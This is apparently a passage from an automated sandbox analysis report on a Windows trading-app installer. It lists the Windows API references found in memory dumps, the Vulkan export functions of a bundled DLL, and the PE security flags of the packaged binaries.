"trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "StringFromGUID2"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CLSIDFromString"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "DeviceIoControl"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "SetFileApisToOEM"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "SetFileApisToANSI"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "lstrcpynW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "lstrcpyW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "MoveFileW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GlobalMemoryStatus"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFileSecurityW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp")3c:T8cf,"vk_swiftshader.dll" contains export function called "vkAcquireNextImage2KHR" at ordinal 1 "vk_swiftshader.dll" contains export function called "vkAcquireNextImageKHR" at ordinal 2 "vk_swiftshader.dll" contains export function called "vkAllocateCommandBuffers" at ordinal 3 "vk_swiftshader.dll" contains export function called "vkAllocateDescriptorSets" at ordinal 4 "vk_swiftshader.dll" contains export function called "vkAllocateMemory" at ordinal 5 "vk_swiftshader.dll" contains export function called "vkBeginCommandBuffer" at ordinal 6 "vk_swiftshader.dll" contains export function called "vkBindBufferMemory" at ordinal 7 "vk_swiftshader.dll" contains export function called "vkBindBufferMemory2" at ordinal 8 "vk_swiftshader.dll" contains export function called "vkBindImageMemory" at ordinal 9 "vk_swiftshader.dll" contains export function called "vkBindImageMemory2" at ordinal 10 "vk_swiftshader.dll" contains export function called "vkCmdBeginQuery" at ordinal 11 "vk_swiftshader.dll" contains export function called "vkCmdBeginRenderPass" at ordinal 12 "vk_swiftshader.dll" contains export function called "vkCmdBeginRenderPass2" at ordinal 13 "vk_swiftshader.dll" contains export function called "vkCmdBeginRendering" at ordinal 14 "vk_swiftshader.dll" contains export function called "vkCmdBindDescriptorSets" at ordinal 15 "vk_swiftshader.dll" contains export function called "vkCmdBindIndexBuffer" at ordinal 16 "vk_swiftshader.dll" contains export function called "vkCmdBindPipeline" at ordinal 17 "vk_swiftshader.dll" contains export function called "vkCmdBindVertexBuffers" at ordinal 18 "vk_swiftshader.dll" contains export function called "vkCmdBindVertexBuffers2" at ordinal 19 "vk_swiftshader.dll" contains export function called "vkCmdBlitImage" at ordinal 20 "vk_swiftshader.dll" contains export function called "vkCmdBlitImage2" at ordinal 21 "vk_swiftshader.dll" contains export function called "vkCmdClearAttachments" at ordinal 22 "vk_swiftshader.dll" contains export function called "vkCmdClearColorImage" at ordinal 23 "vk_swiftshader.dll" contains export function called "vkCmdClearDepthStencilImage" at ordinal 24 "vk_swiftshader.dll" contains export function called "vkCmdCopyBuffer" at ordinal 253d:T5cc,"trading-app-Windows-1.0.0.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "vk_swiftshader.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "ffmpeg.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "vulkan-1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "libEGL.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "nsis7z.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "elevate.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT 